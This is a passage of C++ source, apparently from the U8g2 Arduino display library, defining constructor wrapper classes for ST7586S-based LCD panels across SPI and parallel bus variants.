u8g2_Setup_st7571_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7586S_S028HN118A_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_S028HN118A_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_s028hn118a_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_S028HN118A_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_S028HN118A_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_s028hn118a_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_S028HN118A_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_S028HN118A_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_s028hn118a_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_S028HN118A_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_S028HN118A_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_s028hn118a_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_S028HN118A_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_S028HN118A_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_s028hn118a_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_S028HN118A_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_S028HN118A_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_s028hn118a_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_S028HN118A_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_S028HN118A_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_s028hn118a_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_S028HN118A_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_S028HN118A_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_s028hn118a_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_S028HN118A_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_S028HN118A_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_s028hn118a_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_JLX384160_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_JLX384160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_jlx384160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_JLX384160_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_JLX384160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_jlx384160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_JLX384160_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_JLX384160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_jlx384160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_JLX384160_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_JLX384160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_jlx384160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_JLX384160_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_JLX384160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_jlx384160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_JLX384160_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_JLX384160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_jlx384160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_JLX384160_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_JLX384160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_jlx384160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_JLX384160_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_JLX384160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_jlx384160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_JLX384160_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_JLX384160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_jlx384160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_1_6800 : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_1_8080 : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_1_6800 : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_1_8080 : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_2_6800 : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_2_8080 : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_2_6800 : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_2_8080 : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_F_6800 : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_ERC240160_F_8080 : public U8G2 {\n  public: U8G2_ST7586S_ERC240160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, 